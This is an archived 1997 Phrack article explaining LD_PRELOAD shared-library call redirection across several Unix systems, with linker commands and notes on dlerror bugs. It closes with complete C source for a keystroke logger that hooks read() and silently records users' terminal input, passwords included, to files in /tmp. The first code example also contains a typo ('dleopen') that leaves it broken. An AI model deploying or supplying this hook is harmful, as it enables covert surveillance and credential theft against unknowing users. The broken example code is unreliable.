home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack51.008 < prev    next >
Encoding:
Text File  |  2003-06-11  |  6.8 KB  |  212 lines
  1.  
  2. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 08 of 17
  3.  
  4.  
  5. -------------------------[  Shared Library Redirection Techniques
  6.  
  7.  
  8. --------[  halflife <halflife@infonexus.com>
  9.  
  10.  
  11. This article discusses shared libraries - in particular, a method for doing
  12. shared library based function call redirection for multiple purposes.  During
  13. the process of writing some code, some bugs were discovered in a few shared
  14. library implementations, these are discussed as well.
  15.  
  16. First off, a short description of shared libraries is in order.  Shared
  17. libraries are designed to let you share code segments among programs.  In this
  18. way, memory usage is reduced significantly.  Since code segments generally are
  19. not modified, this sharing scheme works rather well.  Obviously for this to
  20. work, the code segments have to be location independent or PC indepenant (ip
  21. independant for the x86 programmers in the audience).
  22.  
  23.    Now, since the telnetd environment variable hole, most of you know there
  24. are several environment variables that can be used to specify alternate shared
  25. libraries.  Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD;
  26. this article strictly deals with the latter.  Additionally, on Digital UNIX
  27. and Irix, this variable is called _RLD_LIST and has a slightly different
  28. syntax.
  29.  
  30. Sun's shared libraries came with an API to let users load and call shared
  31. library functions; most other vendors have cloned the interface.  Oddly enough,
  32. our code will not work in SunOS, although it will in Solaris2.  Anyhow, the
  33. first function to be concerned with is called dlopen().  This function
  34. basically loads the shared library and mmap()s it into memory if it is not
  35. already loaded.  The first argument it accepts, is a pointer to the filename
  36. to be loaded, the second argument should usually be 1 (although some platforms
  37. seem to support other options).  The manpage provides more details.  A handle
  38. is returned on success, you can call dlerror() to determine if a failure
  39. occurred.
  40.  
  41. Once you have dlopen()ed a library, the next goal is to get the address of one
  42. or more of the symbols that are inside the library.  You do this with the
  43. dlsym() function.  Unfortunately, this is where things can get nonportable.
  44. On the freely available 4.4BSD machines I tested, dlsym() wants the function
  45. name prepended by a underscore character.  This makes perfect sense to me,
  46. since that is how C stores function names internally.  The System Vish
  47. implementations, which make up the majority of the tested systems, do not use
  48. such a convention.  This, unfortunately, means you must use conditional
  49. compilation in order to ensure portability.
  50.  
  51. A simple example of opening a library, getting a function and calling it is
  52. shown below:
  53.  
  54. <++> sh_lib_redir_example.c
  55. #include <stdio.h>
  56. #include <stdlib.h>
  57. #include <unistd.h>
  58. #include <dlfcn.h>
  59.  
  60. main()
  61. {
  62.     void *handle;
  63.     void (*helloworld)(void);
  64.     char *c;
  65.  
  66.     handle = dleopen("/tmp/helloworld.so", 1);
  67.     c = dlerror();
  68.     if(c)
  69.     {
  70.         fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
  71.         abort();
  72.     }
  73. #if __FreeBSD__
  74.     helloworld = dlsym(handle, "_helloworld");
  75. #else
  76.     helloworld = dlsym(handle, "helloworld");
  77. #endif
  78.     c = dlerror();
  79.     if(c)
  80.     {
  81.         fprintf(stderr, "couldnt get helloworld symbol\n");
  82.         abort();
  83.     }
  84.     helloworld();
  85.     dlclose(handle);
  86. }
  87. <-->
  88.  
  89. Okay, now that we understand how to use the programming interface, how do we
  90. do function call redirection?  Well, my idea is simple; you preload a library,
  91. the preloaded library does its thing, then it dlopen()s the real library and
  92. gets the symbol and calls it.  This seems to work well on Solaris, Linux (ELF),
  93. Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).
  94.  
  95. Compiling shared libraries is a little different on each platform.  The
  96. compilation stage is basically the same, it is the linking that is actually
  97. different.  For GCC, you make the object with something like:
  98.  
  99.     gcc -fPIC -c file.c
  100.  
  101. That will create file.o, object code which is suitable for dynamic linking.
  102. Then you actually have to link it, which is where the fun begins :).  Here is
  103. a chart for linking in the various operating systems I have tested this stuff
  104. on.
  105.  
  106. FreeBSD:        ld -Bshareable -o file.so file.o
  107. Solaris:        ld -G -o file.so file.o -ldl
  108. Linux:          ld -Bshareable -o file.so file.o -ldl
  109. IRIX:           ld -shared -o file.so file.o
  110. OSF/1:          ld -shared -o file.so file.o
  111.  
  112. On IRIX, there is an additional switch you need to use if you are running 6.2,
  113. it enables backwards ld compatibility; the manpage for ld is your guide.
  114.  
  115. Unfortunately, all is not happy in the world of shared libs since there are
  116. bugs present in some implementations.  FreeBSD in particular has a bug in that
  117. if you dlsym() something and it is not found, it will not set the error so
  118. dlerror() will return NULL.  OpenBSD is far far worse (*sigh*).  It
  119. initializes the error to a value, and does not clear the error when you call
  120. dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD
  121. is incompatible with our methods in other ways too, so it does not really
  122. matter I guess :).  The FreeBSD bug is hacked around by testing return values
  123. for NULL.
  124.  
  125. Here is a simple TTY logger shared library example.  When you preload it, it
  126. will log the keystrokes when users run any nonprivledged shared lib using
  127. program.  It stores the logs in /tmp/UID_OF_USER.  Pretty simple stuff.
  128.  
  129. <++> tty_logger.c
  130. #include <stdio.h>
  131. #include <stdlib.h>
  132. #include <unistd.h>
  133. #include <sys/types.h>
  134. #include <sys/uio.h>
  135. #include <sys/stat.h>
  136. #include <string.h>
  137. #include <fcntl.h>
  138. #include <dlfcn.h>
  139.  
  140. /* change this to point to your libc shared lib path */
  141. #define LIB_PATH "/usr/lib/libc.so.3.0"
  142. #define LOGDIR "/tmp"
  143. int logfile = -1;
  144.  
  145. static void createlog(void)
  146. {
  147.     char buff[4096];
  148.     if(logfile != -1)
  149.         return;
  150.     memset(buff, 0, 4096);
  151.     if(strlen(LOGDIR) > 4000)
  152.         return;
  153.     sprintf(buff, "%s/%d", LOGDIR, getuid());
  154.     logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
  155.     return;
  156. }
  157.  
  158. static void writeout(char c)
  159. {
  160.     switch(c)
  161.     {
  162.         case '\n':
  163.         case '\r':
  164.             c = '\n';
  165.             write(logfile, &c, 1);
  166.             break;
  167.         case 27:
  168.             break;
  169.         default:
  170.             write(logfile, &c, 1);
  171.     }
  172. }
  173.  
  174. ssize_t read(int fd, void *buf, size_t nbytes)
  175. {
  176.     void *handle;
  177.     ssize_t (*realfunc)(int, void *, size_t);
  178.     int result;
  179.     int i;
  180.     char *c;
  181.     char d;
  182.  
  183.     handle = dlopen(LIB_PATH, 1);
  184.     if(!handle)
  185.         return -1;
  186. #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
  187.     realfunc = dlsym(handle, "read");
  188. #else
  189.     realfunc = dlsym(handle, "_read");
  190. #endif
  191.     if(!realfunc)
  192.         return -1;
  193.     if(logfile < 0)
  194.         createlog();
  195.     result = realfunc(fd, buf, nbytes);
  196.     c = buf;
  197.     if(isatty(fd))
  198.     {
  199.         if(result > 0)
  200.             for(i=0;i < result;i++)
  201.             {
  202.                 d = c[i];
  203.                 writeout(d);
  204.             }
  205.     }
  206.     return result;
  207. }
  208. <-->
  209.  
  210.  
  211. ----[  EOF
  212.